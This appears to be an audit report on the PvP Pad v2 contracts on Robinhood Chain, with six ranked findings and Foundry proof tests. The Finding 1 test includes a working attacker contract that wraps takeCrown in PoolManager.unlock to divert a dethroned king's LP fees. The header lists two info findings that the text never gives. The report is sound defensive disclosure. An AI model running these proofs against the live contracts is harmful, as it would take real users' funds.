# Audit report

> Adversarial security review of PvP Pad v2, already DEPLOYED and IMMUTABLE on Robinhood Chain (4663). This job changes no contract and deploys nothing; produce a findings report. No RPC, fork or broadcast are available here: static review plus the existing forge suite and new adversarial tests to prove findings.
>
> REPO: github.com/identity-md-launches/launch-1715-pvp-pad-v2-robinhood (accepted main branch). Confirm the deployed bytecode matches the verified source at these addresses on robin.etherscan.io: PvPPad 0x801173c677648da466f51a6f0d0ccf272e2422a1, PadGame template 0x636566081fa52bf484f406f35fe06d248e37ffb6, PadToken template 0xd26a41fdea19d86b247b734f8738e50e6c9d50cf, PadLiquidity 0x6555cc96f9f2193535ef48cfbd90b677493f1881, KingOfThePad 0x7b9cd0eb6c7ad39bcd3ad218a760cd6429af146a. The pad is still closed (openPad not yet called), so the central question is: is it safe to open?
>
> CHAIN: Robinhood Chain runs Arbitrum's stack; RNG and timing use ArbSys (0x64), never block.number, blockhash or prevrandao. Uniswap v4 PoolManager 0x8366a39cc670b4001a1121b8f6a443a643e40951.
>
> PRIORITIES (fund safety first):
> - Can anyone drain, strand or permanently lock ETH or tokens? Above all the v4 graduation path: any input or state that makes graduate() revert permanently would lock a game's curve ETH and leave its tokens unsaleable forever. Scrutinise TickMath/SqrtPriceMath edges, the full-range liquidity math and 1 ppm haircut, native-ETH settle/sync ordering, and partial fills at the price limit. Flag anything that could revert graduation on the REAL PoolManager even though it passes against the vendored copy.
> - Raffle: seed commit/recommit, the lone-keeper seed-withholding option, draw gas at 5,000 entries, one entry per wallet, the 200 cap, fairness. Can the draw be stalled, biased or bricked?
> - King auction: bid/refund/extra-split accounting, the pre-crown distribute(8), the claim-reentry fix (finding e2ea0e40), whether a dethroned king can be cheated of fees.
> - Funded-pot sybil economics (AUDIT.md #13): independently re-derive the 15%-of-curve release cap; show whether filling an idle launch to capture carry or the king share can be made profitable.
> - burnChunk price-limit sandwich claim (#8): verify it cannot pay on a thin pool.
> - Reentrancy and gas-capped ETH pushes, CEI, the one-shot binders (#19), upkeep try/catch swallowing a stuck game, access control on every state-changing function, EIP-1167 clone impersonation of PVP (#27).
> Do NOT simply accept the builder's AUDIT.md: independently re-test its accepted risks and say where you disagree.
>
> DELIVER: docs/AUDIT-EXTERNAL.md with findings ranked by severity (critical/high/medium/low/info). Each finding: impact, exact file:line, a failing forge test or a concrete step-by-step scenario, whether it is exploitable before or only after openPad, and a recommended fix (noting the contracts cannot be patched without a v3 redeploy). Add the proof tests under test/. End with a clear verdict: is it safe to call openPad, or should a v3 redeploy fix listed issues first. Note this remains a swarm review; an independent human audit and legal review are still recommended before a public launch.

| | |
|---|---|
| Repository | https://github.com/identity-md-launches/launch-1715-pvp-pad-v2-robinhood.git |
| Commit | `bc22ccc565290596f1d2c082b8d50563fd8dd755` |
| Job | `5c4ec689-085b-4d72-8807-668b284d3222` |
| Judged | 2026-10-14 16:56 UTC |
| Findings | 1 high · 2 medium · 3 low · 2 info |

Four agents audited the code as it is at `bc22ccc`, each in one area (math, permissions, economics, control flow),
and a judge reproduced, merged and ranked what they found, then read the code once more itself. Nothing in the repository was changed or deployed.

## Findings

### 1. High: takeCrown pre-crown settlement bypassed by bidding from inside PoolManager.unlock: the dethroned king's accrued LP fees go to the usurper

`src/KingOfThePad.sol:76`

```
            try liquidity.distribute{gas: CROWN_DISTRIBUTE_GAS}(8) {}
```

AUDIT.md #21 relies on takeCrown() running PadLiquidity.distribute(8) before `king` changes so the outgoing king is paid the LP fees of its reign. distribute() collects each pool via `this.collectPool{gas: 400000}(idx)` inside try/catch (src/PadLiquidity.sol:194-198) and collectPool calls poolManager.unlock(). Uniswap v4 PoolManager.unlock reverts with AlreadyUnlocked() when an unlock is already in progress in the same transaction (lib/v4-core/src/PoolManager.sol:104). Any contract can call PoolManager.unlock and, from its unlockCallback, call KingOfThePad.takeCrown. Every collectPool then reverts cheaply, distribute() swallows all eight failures (PoolCollectionFailed, total == 0) and returns normally, so the `liquidity busy` check (which only recognises PadLiquidity's own `reentrancy` reason) never triggers. The crown changes hands, the old king receives only its bid refund, and the uncollected fees still sitting in the pools (plus the token stash) are paid to the new king by the next distribute/upkeep. The same wrapper also neutralises the upkeep distribute(2)/burnChunk run at the end of takeCrown. Attacker cost: the normal 110% bid (refunded at the next crown change) plus gas; no capital at risk. At stake: all LP fees accrued since distribute last touched each graduated pool (every quiet period without rolls or entries) and any kingEscrow. Exploitable only after openPad, once PvP has graduated and a king exists. Judge verification: the specialist proof was run and fails for exactly the stated reason (sitting king gets 10000000000000000 wei, i.e. only the refund, instead of >= 0.11 ETH). Fix requires a v3 redeploy (contracts are immutable): in takeCrown refuse to proceed while the PoolManager is unlocked (read the v4 Lock transient slot 0xc090fc4683624cfc3884e9d8de5eca132f2d0ec062aff75d43c0465d5ceeab23 via exttload), or make distribute surface AlreadyUnlocked like `liquidity busy`, or checkpoint fee entitlement per king so the outgoing king is credited on the next successful collection. Merged: audit_economics b68b9a53 (sole reporter).

**Reproduction**

State: pad opened, PvP graduated, king A crowned with 0.01 ETH, 0.1 ETH of fees donated into the PvP pool, 1 hour elapsed. Input: attacker contract calls PoolManager.unlock("") and from unlockCallback calls KingOfThePad.takeCrown{value: 0.011 ether}(); afterwards anyone calls king.distribute(8). Expected: A receives the 0.01 ETH refund plus ~0.1 ETH of fees from the pre-crown distribute(8). Actual: A receives exactly 0.01 ETH; the 0.1 ETH is paid to the attacker as new king on the following distribute. Run: forge test --match-path test/scratch/Proof_b68b9a536a5c.t.sol -> FAIL 'fees accrued during the reign must reach the dethroned king: 10000000000000000 < 109999999999999999'.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PadToken} from "src/PadToken.sol";
import {PadGame} from "src/PadGame.sol";
import {PvPPad} from "src/PvPPad.sol";
import {PadLiquidity} from "src/PadLiquidity.sol";
import {KingOfThePad} from "src/KingOfThePad.sol";
import {IPoolManager, IUnlockCallback, PoolKey} from "src/interfaces/Interfaces.sol";

/// @dev ArbSys stand-in at 0x64: hashes served only inside the 256-block window, as on Arbitrum.
contract ArbSysStub {
    uint256 public number = 1000;

    function advance(uint256 n) external {
        number += n;
    }

    function arbBlockNumber() external view returns (uint256) {
        return number;
    }

    function arbBlockHash(uint256 n) external view returns (bytes32) {
        require(n < number && n + 256 >= number, "invalid block number");
        return keccak256(abi.encode("arb", n));
    }
}

interface IV4Donate {
    function donate(PoolKey memory key, uint256 amount0, uint256 amount1, bytes calldata hookData)
        external
        returns (int256);
}

/// @dev Minimal router that donates ETH trading fees to a pool (stands in for swap fees).
contract FeeDonor is IUnlockCallback {
    IPoolManager immutable pm;

    constructor(IPoolManager pm_) {
        pm = pm_;
    }

    receive() external payable {}

    function donate(PoolKey memory key, uint256 eth) external {
        pm.unlock(abi.encode(key, eth));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(pm), "pm");
        (PoolKey memory key, uint256 eth) = abi.decode(data, (PoolKey, uint256));
        IV4Donate(address(pm)).donate(key, eth, 0, "");
        pm.sync(address(0));
        pm.settle{value: eth}();
        return "";
    }
}

/// @dev The attacker: bids for the crown from inside a PoolManager.unlock callback. Every
/// PadLiquidity.collectPool call made by the pre-crown distribute(8) then reverts with
/// AlreadyUnlocked, is swallowed, and the outgoing king is paid nothing.
contract UnlockWrapper is IUnlockCallback {
    IPoolManager immutable pm;
    KingOfThePad immutable king;

    constructor(IPoolManager pm_, KingOfThePad king_) {
        pm = pm_;
        king = king_;
    }

    receive() external payable {}

    function attack() external payable {
        pm.unlock("");
    }

    function unlockCallback(bytes calldata) external returns (bytes memory) {
        require(msg.sender == address(pm), "pm");
        king.takeCrown{value: address(this).balance}();
        return "";
    }
}

contract KingUnlockWrapperTest is Test {
    address constant OWNER = 0x5b95A971B4583A5f011E9DA082acdD679b870D06;
    address constant ARB_ADDR = address(0x64);

    ArbSysStub arb;
    IPoolManager pm;
    PvPPad pad;
    PadLiquidity liq;
    KingOfThePad king;
    PadGame pvp;
    PadToken pvpToken;
    address[] players;

    function setUp() public {
        vm.warp(1_800_000_000);
        ArbSysStub impl = new ArbSysStub();
        vm.etch(ARB_ADDR, address(impl).code);
        arb = ArbSysStub(ARB_ADDR);
        pm = IPoolManager(deployCode("PoolManager.sol:PoolManager", abi.encode(OWNER)));
        PadToken tokenTemplate = new PadToken();
        PadGame gameTemplate = new PadGame();
        pad = new PvPPad(OWNER, address(tokenTemplate), address(gameTemplate));
        liq = new PadLiquidity(address(pm), address(pad));
        king = new KingOfThePad(address(pad), address(liq), OWNER);
        for (uint256 i; i < 4; ++i) {
            address p = address(uint160(0xA000 + i));
            players.push(p);
            vm.deal(p, 10 ether);
        }
        bytes32 salt = mineSalt();
        vm.prank(OWNER);
        pad.openPad(salt);
        pvp = PadGame(pad.gameOf(1));
        pvpToken = PadToken(pad.tokenOf(1));
        playAndGraduate(pvp);
        assertTrue(pad.genesisGraduated(), "pvp graduated");
    }

    function mineSalt() internal view returns (bytes32 salt) {
        bytes32 h = liq.hookInitCodeHash();
        bytes memory buf = abi.encodePacked(bytes1(0xff), address(liq), bytes32(0), h);
        for (uint256 i; i < 200_000; ++i) {
            uint256 a;
            assembly ("memory-safe") {
                mstore(add(buf, 53), i)
                a := and(keccak256(add(buf, 32), 85), 0xffffffffffffffffffffffffffffffffffffffff)
            }
            if (a & 0x3FFF == 0x2000) return bytes32(i);
        }
        revert("no salt");
    }

    function tick(uint256 secs) internal {
        vm.warp(vm.getBlockTimestamp() + secs);
        arb.advance(secs * 4);
    }

    function playAndGraduate(PadGame g) internal {
        for (uint256 i; i < players.length; ++i) {
            vm.prank(players[i]);
            g.enter{value: 0.001 ether}();
        }
        tick(10 minutes);
        g.draw(32);
        arb.advance(4);
        while (!g.drawComplete()) g.draw(32);
        for (uint256 r; r < 3; ++r) {
            for (uint256 i; i < players.length; ++i) {
                if (g.ended()) break;
                vm.prank(players[i]);
                g.roll{value: 0.002 ether}();
            }
            tick(61);
        }
        while (!g.ended()) tick(60);
        tick(5);
        g.poke();
        if (!g.finalized()) g.finalize();
        if (!g.graduated()) g.graduate();
    }

    /// @notice A sitting king must receive the LP fees accrued during its reign when it is dethroned
    /// (the pre-crown distribute(8) of AUDIT.md #21). A bidder that wraps takeCrown in
    /// PoolManager.unlock makes every collectPool revert with AlreadyUnlocked, so the batch pays
    /// nothing, the crown changes hands, and the fees are paid to the usurper instead.
    function test_dethronedKingKeepsFeesAccruedDuringReign() public {
        address sitting = players[0];
        vm.prank(sitting);
        king.takeCrown{value: 0.01 ether}();
        assertEq(king.king(), sitting);

        // 0.1 ETH of trading fees accrue on the PvP pool during the sitting king's reign.
        FeeDonor donor = new FeeDonor(pm);
        vm.deal(address(donor), 1 ether);
        donor.donate(liq.poolKey(address(pvpToken)), 0.1 ether);

        vm.warp(vm.getBlockTimestamp() + 1 hours);
        UnlockWrapper attacker = new UnlockWrapper(pm, king);
        vm.deal(address(attacker), 0.011 ether);

        uint256 sittingBefore = sitting.balance;
        uint256 attackerBefore = address(attacker).balance;

        // The attack must either be rejected or still pay the outgoing king first.
        try attacker.attack() {} catch {}
        // Whoever is king now collects whatever the pre-crown batch left behind.
        king.distribute(8);

        uint256 sittingGain = sitting.balance - sittingBefore;
        uint256 bidRefund = king.king() == sitting ? 0 : 0.01 ether;
        assertGe(
            sittingGain, bidRefund + 0.1 ether - 1, "fees accrued during the reign must reach the dethroned king"
        );
        assertLt(address(attacker).balance, attackerBefore + 0.05 ether, "usurper must not receive the reign's fees");
    }
}
```

### 2. Medium: Roll hash window is ~26 s on Robinhood Chain (measured 9.9 L2 blocks/s) against a 60 s cooldown: rolls nobody else resolves expire into decay, and the raffle seed must be captured within 26 s of its c

`src/PadGame.sol:507`

```
        if (commit + 1 + HASH_WINDOW < cur) {
```

A roll is resolvable only while cur <= commit + 257 L2 blocks (ArbSys serves 256 hashes); after that _resolveRoll marks it expired and moves the Imp up to 4 toward zero instead of applying a die. The window is in L2 blocks, and the whole suite models 4 blocks/s (test/Base.t.sol advance()), giving a 64 s window that just covers the 60 s COOLDOWN. Judge measurement over the public RPC (https://4663.rpc.thirdweb.com, chainId 0x1237, 2026-10-14): 1,000 / 10,000 / 100,000 / 1,000,000 blocks spanned 101 / 1,006 / 10,051 / 100,978 s, i.e. 9.9 blocks/s, 100 ms blocks, every sampled block carrying 6-42 transactions (no empty blocks). On this chain the window is about 26 s. Consequences: (1) a player's own next roll (>= 60 s later) can never resolve its previous roll with a die; every roll needs a third-party transaction (another roll in the same game, poke, resolvePending, or upkeep from another game's enter/roll) between 0.4 s and 26 s after it, or it decays; (2) small games, 1-2 live players, endgames and quiet periods degenerate into a height-decay race where the bell (|height| == 50) is unreachable; (3) a player who runs a bot calling resolvePending gets real dice while naive players get decay, a systematic ranking advantage over the pot; (4) the raffle seed (lines 179-197) has the same window, so a draw() commit must be followed by another call within 26 s or it recommits, and the AUDIT.md #23 mitigation ('run a keeper') must hit a 26 s window. No ETH is lost (the roll still buys tokens and funds the pot) and finalize is not stalled (expired rolls still resolve), so this is a correctness/fairness defect of the core mechanic rather than fund loss; exploitable (and simply failing) only after openPad. This refines audit_economics 40533bf4 (reported as low, conditional on cadence > 4.27 blocks/s): the cadence is now measured at 9.9/s, so the condition holds and the severity is raised. v3 fix: either COOLDOWN well under the window at the chain's cadence (e.g. 15-20 s) or a resolution scheme that does not depend on the roller (resolve pending rolls in every enter/roll/draw of every game; pay a small keeper fee), and run a keeper from day one. Pre-open mitigation only: a keeper calling resolvePending/poke every few seconds on every live game.

**Reproduction**

test/scratch/Proof_RollWindowCadence.t.sol (self-contained, ArbSys stub advanced 10 blocks per second): one seated player in the genesis game rolls, waits exactly COOLDOWN (60 s = 600 L2 blocks), rolls again. Expected: the first roll is resolved with a die (expired == false, delta != 0). Actual: resolved with expired == true (decay). forge test --match-path test/scratch/Proof_RollWindowCadence.t.sol -> FAIL 'a roll followed by one cooldown must get a die, not decay'. Also test/scratch/JudgeLows.t.sol test_loneRollerRollExpiresAfter65sAtFourBlocksPerSecond shows the same at 4 blocks/s with a 65 s gap and at 5 blocks/s with a 60 s gap. Cadence: eth_getBlockByNumber timestamps at head and head-1000000 differ by 100,978 s.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PadToken} from "src/PadToken.sol";
import {PadGame} from "src/PadGame.sol";
import {PvPPad} from "src/PvPPad.sol";
import {PadLiquidity} from "src/PadLiquidity.sol";
import {KingOfThePad} from "src/KingOfThePad.sol";

/// @dev ArbSys stand-in at 0x64 serving hashes only inside the 256-block window, as on Arbitrum.
contract ArbSysStub {
    uint256 public number = 1000;

    function advance(uint256 n) external {
        number += n;
    }

    function arbBlockNumber() external view returns (uint256) {
        return number;
    }

    function arbBlockHash(uint256 n) external view returns (bytes32) {
        require(n < number && n + 256 >= number, "invalid block number");
        return keccak256(abi.encode("arb", n));
    }
}

/// @notice Robinhood Chain (4663) produces about 10 L2 blocks per second (measured 9.9/s over the
/// last 1,000,000 blocks on 2026-10-14, 100 ms blocks, none empty). The roll's hash window is 256 L2
/// blocks, about 26 s, while COOLDOWN is 60 s. A player whose pending roll nobody else resolves
/// therefore never gets a die: its own next roll finds the window closed and applies decay.
contract RollWindowCadenceProof is Test {
    uint256 constant BLOCKS_PER_SECOND = 10;
    address constant OWNER = 0x5b95A971B4583A5f011E9DA082acdD679b870D06;

    ArbSysStub arb;
    PvPPad pad;
    PadLiquidity liq;
    PadGame pvp;

    function setUp() public {
        vm.warp(1_800_000_000);
        ArbSysStub impl = new ArbSysStub();
        vm.etch(address(0x64), address(impl).code);
        arb = ArbSysStub(address(0x64));
        PadToken tt = new PadToken();
        PadGame gt = new PadGame();
        pad = new PvPPad(OWNER, address(tt), address(gt));
        // No pool interaction happens before graduation; any non-zero manager address will do here.
        liq = new PadLiquidity(address(0xBEEF), address(pad));
        new KingOfThePad(address(pad), address(liq), OWNER);
        bytes32 h = liq.hookInitCodeHash();
        bytes32 salt;
        for (uint256 i; i < 300_000; ++i) {
            address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(liq), bytes32(i), h)))));
            if (uint160(a) & 0x3FFF == 0x2000) {
                salt = bytes32(i);
                break;
            }
        }
        vm.prank(OWNER);
        pad.openPad(salt);
        pvp = PadGame(pad.gameOf(1));
    }

    function tick(uint256 secs) internal {
        vm.warp(vm.getBlockTimestamp() + secs);
        arb.advance(secs * BLOCKS_PER_SECOND);
    }

    /// A single seated player rolls, waits exactly the cooldown, rolls again. On a chain at the
    /// measured cadence the first roll must still be resolvable with a die by the player's own next
    /// roll; today it is already expired (decay instead of a die), so the lone player can never score.
    function test_rollResolvesWithDieAfterOneCooldownAtMeasuredChainCadence() public {
        address p = address(0xA001);
        vm.deal(p, 1 ether);
        vm.prank(p);
        pvp.enter{value: 0.001 ether}();
        tick(10 minutes);
        pvp.draw(1);
        tick(1);
        pvp.draw(1);
        assertTrue(pvp.drawComplete(), "seated");

        vm.prank(p);
        pvp.roll{value: 0.002 ether}();
        tick(pvp.COOLDOWN());
        vm.prank(p);
        pvp.roll{value: 0.002 ether}();

        PadGame.Roll memory first = pvp.getRoll(0);
        assertTrue(first.resolved, "first roll resolved by the second roll");
        assertFalse(first.expired, "a roll followed by one cooldown must get a die, not decay");
        assertTrue(first.delta != 0, "die moved the Imp");
    }
}
```

### 3. Medium: Dethroned king loses most token-side fees of its reign: the pre-crown settlement sells only what a 1% price move absorbs, the rest of the stash pays the usurper

`src/PadLiquidity.sol:310`

```
                int256 d = poolManager.swap(key, SwapParams(false, -int256(sell), _priceLimit(key, false)), "");
```

takeCrown runs distribute(8) before changing `king` and AUDIT #21 presents this as settling the outgoing king. ETH-side fees are paid in full, but token-side fees are converted to ETH by collectPool only up to SELL_CHUNK and, more restrictively, up to the IMPACT_BPS sqrt-price limit (0.5%, ~1% in price). In the PVP pool, which is only as deep as the genesis raise, a 1% move absorbs ~100k tokens, so after the settlement ~92% of the fee tokens remain in tokenStash and are sold by later collections, whose ETH goes to whoever is king then. Every usurper therefore inherits most of the token-side fees that accrued during the previous reign, deterministically and with no race. In the proof A earned 0.002 ETH + 2.657M tokens of fees; B takes the crown for 0.011 ETH (0.001 ETH extra net of A's refund); A receives 0.002108 ETH and B then collects 0.002246 ETH from the stash left over from A's reign, more than A got and more than twice B's cost. Consequences: a king with a large stash is a profitable target purely from the stash; the king cannot defend by calling distribute often because each call again sells only a 1% move; fees earned during a reign are not 'later fees' as AUDIT #21 claims. Distinct mechanism from the unlock-wrapper finding (that one zeroes the whole settlement by making collectPool revert; this one is the normal path). Exploitable only after openPad with a graduated PVP and a king. v3 fix: track per-reign stash entitlement (pay the outgoing king its unsold fee tokens in kind as a claimable, or record the stash value owed to the king of record and pay it from later sales). Merged: audit_permissions 2da1efef (sole reporter); the specialist proof was run and fails for the stated reason.

**Reproduction**

forge test --match-path test/scratch/Proof_2da1efef2bab.t.sol -vv. State: PVP graduated against the vendored v4.0.0 PoolManager; A is king (bid 0.01); 0.002 ETH and 2.657e24 wei of PVP donated as LP fees; one hour passes; B calls takeCrown{value: 0.011 ether}. Expected: A keeps at least three quarters of the fee value of its reign. Actual: A received 2108002592064800 wei, B then received 2245879323093178 wei from A's-reign stash via distribute(1) calls; assertion `aGot >= (aGot + bGot) * 3 / 4` fails (2108002592064800 < 3265411436368483).

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PadToken} from "src/PadToken.sol";
import {PadGame} from "src/PadGame.sol";
import {PvPPad} from "src/PvPPad.sol";
import {PadLiquidity} from "src/PadLiquidity.sol";
import {KingOfThePad} from "src/KingOfThePad.sol";
import {IPoolManager, IUnlockCallback, PoolKey} from "src/interfaces/Interfaces.sol";
import {PoolManager} from "lib/v4-core/src/PoolManager.sol";
import {IPoolManager as V4Manager} from "lib/v4-core/src/interfaces/IPoolManager.sol";
import {PoolKey as V4Key} from "lib/v4-core/src/types/PoolKey.sol";
import {BalanceDelta} from "lib/v4-core/src/types/BalanceDelta.sol";

contract ArbSysStub {
    uint256 public number = 1000;
    function advance(uint256 n) external { number += n; }
    function arbBlockNumber() external view returns (uint256) { return number; }
    function arbBlockHash(uint256 n) external view returns (bytes32) {
        require(n < number && n + 256 >= number, "invalid block number");
        return keccak256(abi.encode("arb", n));
    }
}

/// @dev Donates LP fees to a pool through the real PoolManager (same effect as trading fees).
contract Donor is IUnlockCallback {
    IPoolManager immutable m;
    constructor(IPoolManager m_) { m = m_; }
    receive() external payable {}
    function donate(PoolKey memory key, uint256 e, uint256 t) external { m.unlock(abi.encode(key, e, t)); }
    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(m));
        (PoolKey memory key, uint256 e, uint256 t) = abi.decode(data, (PoolKey, uint256, uint256));
        V4Key memory vkey = abi.decode(abi.encode(key), (V4Key));
        V4Manager(address(m)).donate(vkey, e, t, "");
        if (e != 0) { m.sync(address(0)); m.settle{value: e}(); }
        if (t != 0) { m.sync(key.currency1); require(PadToken(key.currency1).transfer(address(m), t)); m.settle(); }
        return "";
    }
}

contract DethroneStashProof is Test {
    address constant OWNER = 0x5b95A971B4583A5f011E9DA082acdD679b870D06;
    ArbSysStub arb; IPoolManager pm; PvPPad pad; PadLiquidity liq; KingOfThePad king; PadGame pvp; PadToken pvpToken;
    address[] players;

    function setUp() public {
        vm.warp(1_800_000_000);
        ArbSysStub impl = new ArbSysStub();
        vm.etch(address(0x64), address(impl).code);
        arb = ArbSysStub(address(0x64));
        pm = IPoolManager(address(new PoolManager(OWNER)));
        PadToken tt = new PadToken(); PadGame gt = new PadGame();
        pad = new PvPPad(OWNER, address(tt), address(gt));
        liq = new PadLiquidity(address(pm), address(pad));
        king = new KingOfThePad(address(pad), address(liq), OWNER);
        for (uint256 i; i < 6; ++i) { address p = address(uint160(0xA000 + i)); players.push(p); vm.deal(p, 10 ether); }
        bytes32 h = liq.hookInitCodeHash(); bytes32 salt;
        for (uint256 i; i < 300_000; ++i) {
            address a = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(liq), bytes32(i), h)))));
            if (uint160(a) & 0x3FFF == 0x2000) { salt = bytes32(i); break; }
        }
        vm.prank(OWNER); pad.openPad(salt);
        pvp = PadGame(pad.gameOf(1)); pvpToken = PadToken(pad.tokenOf(1));
    }

    function advance(uint256 secs) internal { vm.warp(vm.getBlockTimestamp() + secs); arb.advance(secs * 4); }

    function test_outgoingKingKeepsTheFeeValueOfItsReign() public {
        // play PVP out with 4 players and graduate it
        for (uint256 i; i < 4; ++i) { vm.prank(players[i]); pvp.enter{value: 0.001 ether}(); }
        advance(10 minutes);
        pvp.draw(32); arb.advance(4); while (!pvp.drawComplete()) pvp.draw(32);
        for (uint256 r; r < 3; ++r) { for (uint256 i; i < 4; ++i) { if (pvp.ended()) break; vm.prank(players[i]); pvp.roll{value: 0.002 ether}(); } advance(61); }
        while (!pvp.ended()) advance(60);
        advance(5); pvp.poke(); if (!pvp.finalized()) pvp.finalize(); if (!pvp.graduated()) pvp.graduate();
        assertTrue(pad.genesisGraduated());

        address a = players[4]; address b = players[5];
        vm.prank(a); king.takeCrown{value: 0.01 ether}();
        // fees accrue during A's reign: 0.002 ETH and ~2.6M tokens
        Donor d = new Donor(pm); vm.deal(address(d), 1 ether);
        address holder; for (uint256 i; i < 4; ++i) if (pvpToken.balanceOf(players[i]) > 0) holder = players[i];
        uint256 t = pvpToken.balanceOf(holder) / 2;
        vm.prank(holder); pvpToken.transfer(address(d), t);
        d.donate(liq.poolKey(address(pvpToken)), 0.002 ether, t);
        vm.warp(vm.getBlockTimestamp() + 1 hours);

        uint256 aBefore = a.balance;
        vm.prank(b); king.takeCrown{value: 0.011 ether}();
        uint256 aGot = a.balance - aBefore - 0.01 ether;
        uint256 bBefore = b.balance;
        for (uint256 i; i < 60 && liq.getPool(0).tokenStash > t / 100; ++i) liq.distribute(1);
        uint256 bGot = b.balance - bBefore;
        emit log_named_uint("A received", aGot);
        emit log_named_uint("B received from A's-reign fees", bGot);
        assertGe(aGot, (aGot + bGot) * 3 / 4, "outgoing king keeps at least 3/4 of the fee value of its reign");
    }
}
```

### 4. Low: Raffle seed can be re-rolled by a sole draw caller: an uncaptured commit recommits after the hash window, giving whoever is alone a free best-of-k choice of seat sets

`src/PadGame.sol:179`

```
            if (!drawCommitted || cur > drawCommitBlock + 1 + HASH_WINDOW) {
```

After signup the first draw/poke/upkeep commits the current ArbSys block; the seed is keccak(this, hash(c+1), hash(c+2), hash(c+3)) and becomes state only when some call reaches _draw between c+4 and c+257. If no call lands in that window the next call recommits with a fresh block. All three hashes are public from c+4, so a party that is the only _draw caller for the window can replay the Fisher-Yates loop off-chain, call draw() only when it likes the outcome (its wallets seated when entrants > 200; seat order, the last ranking tie-break, otherwise) and otherwise stay silent until the recommit; each rejection costs it nothing. On Robinhood Chain the window is ~26 s (9.9 blocks/s measured), so the honest keeper AUDIT.md #23 relies on must respond within 26 s of every commit, and a merely slow keeper hands the option to any entrant; the chain is busy (no empty blocks), so the attacker need not mint blocks itself. Impact is bounded to seat selection and tie-break (die rolls use separate per-roll commits and the funded-pot caps still apply), hence low; it is a fairness/trust gap, and the Privileges table of AUDIT.md does not list the keeper as a trusted party. Exploitable only after openPad. v3 fix: make the first commit binding (e.g. on expiry derive the seed from the first still-available hashes in a deterministic way, or use a VRF), or fix the seed from the entry transaction that ends signup. Merged duplicates: audit_economics 9d97cfc2, audit_permissions acc672c0, audit_math 2c2a1cc1 (same mechanism, same line).

**Reproduction**

Existing suite test/Raffle.t.sol test_recommitOnlyBeforeSeedIfHashesExpire: 201 entrants, commit at block c, no call until c+258, draw(32) takes the recommit branch (drawCommitBlock == c+258, drawSeeded == false, impCount == 0), then draw(1) 4 blocks later latches a different seed. Scenario: a keeper holding k wallets among N > 200 entrants reads arbBlockHash(c+1..c+3) at c+4, simulates _draw off-chain, and calls draw only for a seed that seats all its wallets; otherwise waits 26 s (at 9.9 blocks/s) and repeats. Expected: the first seed after signup binds everyone. Actual: a sole caller selects among unbounded seeds.

### 5. Low: Upkeep try/catch does not isolate gas: a user's entry or roll reverts when another game's pending draw/finalize/graduate step exhausts the forwarded gas

`src/PvPPad.sol:248`

```
        try IPadGame(game).upkeepStep(caller) {} catch {}
```

Every enter(), roll(), launch() and takeCrown() ends in PvPPad._upkeep, which calls upkeepStep on the latest entered game and one round-robin older game with no gas cap. upkeepStep may run a 32-seat draw chunk (~30k gas per seat), a 200-living finalize (3.78M gas per docs/TEST-REPORT.md) or a v4 graduation. If the caller's transaction does not carry enough gas, the inner call receives 63/64 of what is left and runs out, the catch swallows the error, and the caller's own transaction is left with 1/64 and reverts too. AUDIT.md #2's statement that a finalize that runs out of gas inside upkeep 'is simply skipped there' is inaccurate. Consequences: gas needed for a 0.001 ETH entry swings between ~150k and ~4M depending on other games' state; bots or wallets sending with fixed gas limits fail exactly when another game is pending finalization; the finalize cost lands on whoever transacts first for at most 0.005 ETH. No ETH is lost and finalize()/draw()/graduate() remain callable directly, so low; exploitable only after openPad. v3 fix: forward a bounded stipend (`upkeepStep{gas: X}`) sized so the inner OOG cannot starve the caller, or move heavy steps out of the user path. Mitigation now: document gas estimation (never fixed limits) and run a keeper that drains pending draw/finalize steps. Merged: audit_flow 3e68cfe0 (sole reporter).

**Reproduction**

test/scratch/JudgeLows.t.sol test_fixedGasEntryRevertsWhenAnotherGameHasPendingDraw (passes on this code, documenting the behaviour): pad open, PvP graduated, launch #2 with 12 entrants, warp past signupEnd, draw(1) to commit, advance 5 L2 blocks, launch #3. A fresh wallet's game3.enter{value: 0.001 ether}() with ample gas uses 410,076 gas and seats all 12 Imps of game 2 as a side effect; the same call with gas: 250_000 returns ok == false and game3.entryCount() stays 0. Expected per AUDIT.md #2: foreign step skipped, entry succeeds. Actual: entry reverts.

### 6. Low: Carry pot can be kept out of honest games indefinitely by chaining five-wallet launches: finalize of one sybil game and draw completion of the next happen in the same transaction

`src/PadGame.sol:228`

```
            if (imps.length >= FUNDED_MIN_LIVING) IPvPPad(pad).takeCarry(launchId);
```

A game takes the entire carry pot the moment its raffle completes with >= 5 seats (PvPPad.takeCarry, src/PvPPad.sol:168-175), holds it for the round and returns the unreleased part at finalize (src/PadGame.sol:603). AUDIT.md #26 accepts this as a one-round delay. The return and the next capture are both permissionless and compose in one transaction: finalize() of launch A ends with IPvPPad(pad).upkeepFor, which tends the latest entered game B; if B's draw is committed and seeded, upkeepStep completes it and takeCarry moves the carry into B before any other transaction can observe it in the pad. A griefer with five wallets per launch (0.005 ETH per ~20 minute cycle, entries go to the burn bucket) keeps every king share and all-dead pot out of honest hands, gaining nothing. Carry ETH is never lost (it stays in the system), so low; exploitable only after openPad and PvP graduation (launch() gating). v3 fix: do not move the whole carry at draw completion; pay carry at finalize from the pad bounded by the finalized release cap, or give each game only a fraction. Merged: audit_math aeff35e5 (sole reporter).

**Reproduction**

test/scratch/JudgeLows.t.sol test_carryMovesFromOneSybilGameToTheNextInsideFinalize (passes on this code): carry >= 1 ETH in the pad; launch A, 5 wallets enter, draw completes -> A.fundedPot == carry, pad.carryPot == 0; launch B, 5 wallets enter; 10 minutes later A has ended with no roll; B.draw(1) commits, 4 blocks later a.finalize() alone leaves pad.carryPot() == 0, b.drawComplete() == true and b.fundedPot() == carry. Expected per AUDIT.md #26: carry returns to the pad and the next honest seated game receives it. Actual: carry is in the pad only transiently inside A's finalize.

